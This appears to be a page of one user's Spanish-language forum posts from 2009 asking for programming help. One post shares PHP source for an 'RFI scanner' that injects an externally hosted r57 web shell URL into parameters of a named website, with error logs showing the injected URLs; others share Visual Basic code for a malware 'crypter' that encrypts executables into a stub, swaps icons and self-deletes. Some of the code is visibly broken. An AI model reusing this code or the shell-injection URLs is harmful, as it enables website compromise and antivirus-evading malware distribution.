|
Mostrar Mensajes
|
Páginas: 1 2 3 [4] 5 6 7 8 9
|
31
|
Programación / PHP / Problemas con interpretación de php en appserv.
|
en: 18 Marzo 2009, 14:58 pm
|
Hola, que tal, a ver si me pudieran echar una mano, se los agradeceria mucho. Verán. Estoy probando a montar un escaner rfi para investigar sobre esto en mi host. El host tiene montado el appserv 2.5.9, aunque también probé con otras versiones. El codigo de php lo cogí de una web, anda bien, ya que lo he probado en otros host y funciona perfecto, pero en el mio me salen errores... creo que debe de ser por la versión del php (si me reconoce otras web en php con codes más simples, depende de las funciones creo). El caso es que en otro host con la misma versión de appserv si que anda pero en la mia no . El code es este por si lo quieren probar: <html> <bogy> <? /* RFI Scanner 1.0 Author: elefrEn Website: http://elefren.com/ email: efnworkz@hotmail.com Dedicated to Spanish Hackers Team - http://spanish-hackers.com/ Gr33tz: -> JosS | nhh-32 | Omega <- */ #Config $urlweb = "http://www.aeev.net";# Out http://, ex: google.com $urlshell = "http://xxxxxxxxxxx/shell/r57.txt";# Url where you sent the shell script $comunvars = "cual|admindir|sec|id|file|doc|module|modulo|name";# Comun vars vulns to RFI in cms´s, etc... $filetoscan = "index.php";# The file that you want scan #Funcs function vars($url){ $var = 0; while($var < count($xpl)){ $m0s .= '|'.$v4r[0]; $var++; } return $m0s; } function beerres($list, $barras = FALSE){ $s3p4 = '<br>'; if($barras) $s3p4 = '|'; $var = 0; while($var < count($list)){ if($list[$var] != ''){ $m0s .= $list[$var].$s3p4; } } $var++; } return $m0s; } function extrac($n00b, $file = FALSE){ $n0ob = 'http://'.$n00b; $vars = preg_match_all('/<a href="'.$file.'(.*)">(.*)<\/a>/i',$source,$results); $t0t = count($results[1]); $var = 0; while($var < $t0t){ $xtr = explode('"',$results[1][$var]); $urllist .= $xtr[0].'|'; $varlist .= vars($xtr[0]); $var++; } $m0s .= $varlist; return beerres($m0s,1); } function rfi($vars,$web,$file,$urlshell){ $var = 0; while($var < count($list)){ $url = $web.$file."?".$list[$var]."=".$urlshell."?"; $m0s .= "<font color=red><b>RFI-></b></font> "; }else{ $m0s .= "<font color=green><b>Secure-></b></font> "; } $m0s .= $url.'<br>'; $var++; } return $m0s; } #Exec echo rfi(extrac($urlweb).$comunvars,'http://'.$urlweb.'/',$filetoscan,$urlshell); ?> </body>
Los errores son estos: Warning: file() [function.file]: php_network_getaddresses: getaddrinfo failed: Host desconocido. in C:\AppServ\www\www2\shell\scannerrfi.php on line 52 Warning: file(http://http://www.aeev.net) [function.file]: failed to open stream: No error in C:\AppServ\www\www2\shell\scannerrfi.php on line 52 Warning: join() [function.join]: Bad arguments. in C:\AppServ\www\www2\shell\scannerrfi.php on line 52 Warning: file() [function.file]: php_network_getaddresses: getaddrinfo failed: Host desconocido. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70 Warning: file(http://http://www.aeev.net/index.php?cual=http://xxxxxxxxxxxxxxx/shell/r57.txt?) [function.file]: failed to open stream: No error in C:\AppServ\www\www2\shell\scannerrfi.php on line 70 Warning: join() [function.join]: Bad arguments. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70 Warning: file() [function.file]: php_network_getaddresses: getaddrinfo failed: Host desconocido. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70 Warning: file(http://http://www.aeev.net/index.php?admindir=http://xxxxxxxxxxxxxx.org/shell/r57.txt?) [function.file]: failed to open stream: No error in C:\AppServ\www\www2\shell\scannerrfi.php on line 70 Warning: join() [function.join]: Bad arguments. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70 Warning: file() [function.file]: php_network_getaddresses: getaddrinfo failed: Host desconocido. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70 Warning: file(http://http://www.aeev.net/index.php?sec=http://xxxxxxxxxx.org/shell/r57.txt?) [function.file]: failed to open stream: No error in C:\AppServ\www\www2\shell\scannerrfi.php on line 70 Warning: join() [function.join]: Bad arguments. in C:\AppServ\www\www2\shell\scannerrfi.php on line 70
Laa linea 52 contiene esto: function extrac($n00b, $file = FALSE){ Y la 70: $var = 0; Así unas cuantas de veces asta llegar al final de la web donde ya me sale lo que debería de salir, aunque dan mal el resultado... por los errores supongo. Espero su ayuda, gracias de antemano. Saludos
|
|
|
33
|
Programación / Programación Visual Basic / Re: Ayuda con melt o timer para archivo que creo.
|
en: 4 Marzo 2009, 01:00 am
|
Hola tal vez así ???
If Check2.Value = 1 Then Timer1.Enabled = True Timer1.Interval = 10000 End If
Private Sub Form_Load() Timer1.Enabled =False End Sub
Private Sub Timer1_Timer() Kill Stubpath End Sub
Hola gracias por tu interes. Verás esto lo intente anoche y lo que ocurre es lo siguiente. Stubpath (el archivo nuevo que se crea) funciona con un Dim stubpath en el cmd de encryptar "junto a otros Dim". Por lo que si pongo Private Sub Timer1_Timer() Kill Stubpath End Sub
Cuando cifro y pasan 10 segundos me da un error en Kill Stubpath, Error 13 en tiempo de ejecución. Si pongo esto: Private Sub Timer1_Timer() dim stubpath Kill Stubpath End Sub
Me sale un error 53 en tiempo de ejecución. Se que ya estoy cerca jeje Gracias, Saludos.
|
|
|
36
|
Programación / Programación Visual Basic / Ayuda con melt o timer para archivo que creo.
|
en: 3 Marzo 2009, 14:56 pm
|
Hola, aun sigo con mi proyecto (un crypter) pero me he vuelto a atrancar, ahora le quiero poner una opción de melt, para que elimine el cifrado en su ejecución o al pasar un tiempo. Para ello e usado un modulo que vi por aquí y e echo esta yamada en el form If Check2.Value = 1 Then Call meltfile (Stubpath) End If
Pero lo que pasa es que con esto lo que hace es melt del programa y no del archivo que crea Tambien he probado con If Check2.Value = 1 Then kill stubpath end if
Esto si me funciona pero lo elimina al momento, y lo que me gustaria hace es por ejemplo que me lo eliminara al paso de 10 segundos, por lo que creo un timer con interval de 1000 y meto este codigo: If Check2.Value = 1 Then Kill Stubpath = Timer1 End If
Pero entonces me lo elimina igual, ni me aparece XD. Gracias espero su ayuda. Saludos.
|
|
|
38
|
Programación / Programación Visual Basic / Re: Ayuda con cambio de Icono en Cripter
|
en: 23 Febrero 2009, 21:44 pm
|
Hola respecto a la respuesta de el_c0c0 he de decir que ya lo hice, y si hago esto entonces me ecrypta de todas las maneras, esté o no marcada la opción de cambiar el ico. Pero lo que ocurre es que no cambia aaronduran2 gracias por la respuesta, pero no creo qe sea del modulo ya que el mio me lo pasaron y anda bien, es este: Option Explicit Type DIB_HEADER Size As Long Width As Long Height As Long Planes As Integer Bitcount As Integer Reserved As Long ImageSize As Long End Type Type ICON_DIR_ENTRY bWidth As Byte bHeight As Byte bColorCount As Byte bReserved As Byte wPlanes As Integer wBitCount As Integer dwBytesInRes As Long dwImageOffset As Long End Type Type ICON_DIR Reserved As Integer Type As Integer Count As Integer End Type Type DIB_BITS Bits() As Byte End Type Public Enum Errors FILE_CREATE_FAILED = 1000 FILE_READ_FAILED INVALID_PE_SIGNATURE INVALID_ICO NO_RESOURCE_TREE NO_ICON_BRANCH CANT_HACK_HEADERS End Enum Public Function ReplaceIcons(Source As String, Dest As String, Error As String) As Long Dim IcoDir As ICON_DIR Dim IcoDirEntry As ICON_DIR_ENTRY Dim tBits As DIB_BITS Dim Icons() As IconDescriptor Dim lngRet As Long Dim BytesRead As Long Dim hSource As Long Dim hDest As Long Dim ResTree As Long hSource = CreateFile(Source, ByVal &H80000000, 0, ByVal 0&, 3, 0, ByVal 0) If hSource >= 0 Then If Valid_ICO(hSource) Then SetFilePointer hSource, 0, 0, 0 ReadFile hSource, IcoDir, 6, BytesRead, ByVal 0& ReadFile hSource, IcoDirEntry, 16, BytesRead, ByVal 0& SetFilePointer hSource, IcoDirEntry.dwImageOffset, 0, 0 ReDim tBits.Bits(IcoDirEntry.dwBytesInRes) As Byte ReadFile hSource, tBits.Bits(0), IcoDirEntry.dwBytesInRes, BytesRead, ByVal 0& CloseHandle hSource hDest = CreateFile(Dest, ByVal (&H80000000 Or &H40000000), 0, ByVal 0&, 3, 0, ByVal 0) If hDest >= 0 Then If Valid_PE(hDest) Then ResTree = GetResTreeOffset(hDest) If ResTree > 308 Then ' Sanity check lngRet = GetIconOffsets(hDest, ResTree, Icons) SetFilePointer hDest, Icons(1).offset, 0, 0 WriteFile hDest, tBits.Bits(0), UBound(tBits.Bits), BytesRead, ByVal 0& If Not HackDirectories(hDest, ResTree, Icons(1).offset, IcoDirEntry) Then eRR.Raise CANT_HACK_HEADERS, App.EXEName, "Unable to modify directories in target executable. File may not contain any icon resources." End If Else eRR.Raise NO_RESOURCE_TREE, App.EXEName, Dest & " does not contain a valid resource tree. File may be corrupt." CloseHandle hDest End If Else eRR.Raise INVALID_PE_SIGNATURE, App.EXEName, Dest & " is not a valid Win32 executable." CloseHandle hDest End If CloseHandle hDest Else eRR.Raise FILE_CREATE_FAILED, App.EXEName, "Failed to open " & Dest & ". Make sure file is not in use by another program." End If Else eRR.Raise INVALID_ICO, App.EXEName, Source & " is not a valid icon resource file." CloseHandle hSource End If Else eRR.Raise FILE_CREATE_FAILED, App.EXEName, "Failed to open " & Source & ". Make sure file is not in use by another program." End If ReplaceIcons = 0 Exit Function ErrHandler: ReplaceIcons = eRR.Number Error = eRR.Description End Function Public Function Valid_ICO(hFile As Long) As Boolean Dim tDir As ICON_DIR Dim BytesRead As Long If (hFile > 0) Then ReadFile hFile, tDir, Len(tDir), BytesRead, ByVal 0& If (tDir.Reserved = 0) And (tDir.Type = 1) And (tDir.Count > 0) Then Valid_ICO = True Else Valid_ICO = False End If Else Valid_ICO = False End If End Function
También tengo otro modulo de PechanceIcon. editado: Ya solucione el problema, era tan simple como en vez de usa button usar un check. Espero que me sigan ayudando. Gracias.
|
|
|
39
|
Programación / Programación Visual Basic / Re: Ayuda con cambio de Icono en Cripter
|
en: 23 Febrero 2009, 20:57 pm
|
a mi entendimiento lo tenes q hacer despues del .ShowSave y no antes
edit: algo que no me queda claro, porque lo haces 2 veces? una arriba y otra abajo
saludos
Pues si te digo la verdad esta asi xq lo pase a un colega y me lo dejo así, cosa que yo tampoco comprendí pero bueno, confié que debería de ser así xD. Pruebo lo que me decis a ver si de una vez puedo continuar, Gracias a los 2. Ya os contaré.
|
|
|
40
|
Programación / Programación Visual Basic / Ayuda con cambio de Icono en Cripter
|
en: 23 Febrero 2009, 14:10 pm
|
Hola estoy modificando el soucer de un crypter, le quiero añadir la opción de que me cambie el icono del archivo cifrado. Me he quedado ahí que no avanzo ya que si no marco la opción de cifrar el cripter funciona a la parfección, pero si no lo marco el cmd de cifrar se queda sin funcionar, no anda hasta que lo desmarque... El programa no me da errores, los modulos creo que estan bien, al igual que los eventos... este es el codigo del cmd para cifrar Private Sub chameleonButton3_Click() On Error GoTo ende Dim Buffer() As Byte Dim ResBuffer() As Byte Dim EofData As String Dim Buffer2 As String Dim Stubpath As String Dim eRR As String If Text1.Text = "" Then MsgBox "Selecciona el fichero a cifrar" chameleonButton1 = True End If With CommonDialog1 .CancelError = True .DialogTitle = "Select where to save the crypted file.." .DefaultExt = ".exe" .Filter = "Executables|*.exe" .FileName = "Crypted232.exe" If Op1.Value = True Then ReplaceIcons CommonDialog1.FileName, App.Path + "\" + "Crypted111" + ".exe", eRR End If End With CommonDialog1.ShowSave Stubpath = CommonDialog1.FileName ResBuffer() = LoadResData(101, "STUB") Open Stubpath For Binary As #2 Put #2, , ResBuffer() Close #2 Text3.Text = Text3.Text & "File read.." & vbCrLf Text3.Text = Text3.Text & "Crypting.." & vbCrLf EncodeArrayB LoadFile(Text1.Text), Text2.Text Buffer() = encoded() Buffer2 = StrConv(LoadFile(Text1.Text), vbUnicode) EofData = Mid(Buffer2, GetEOF(Text1.Text), FileLen(Text1.Text)) Open Stubpath For Binary As #1 Put #1, LOF(1) + 1, "<F1l3>" Put #1, LOF(1) + 1, Buffer() Put #1, LOF(1) + 1, "<F1l3>" Put #1, LOF(1) + 1, Text2.Text Put #1, LOF(1) + 1, "<F1l3>" Put #1, LOF(1) + 1, EofData Close #1 'PatchEOF Stubpath 'removed cause it crashes the eof data Open Stubpath For Binary As #1 Put #1, LOF(1) + 1, EofData Close #1 Call ReplaceIcons(CommonDialog1.FileName, Stubpath, eRR) Text3.Text = Text3.Text & "Successfull!" & vbCrLf MsgBox "The file has been successfully crypted", 64, "Lilith" ende: End Sub
Si alguien me puede ayudar se lo agradezco mucho, le podria pasar el source completo por si así no lo ve claro. Gracias de antemano, un saludo.
|
|
|
|
|
|
|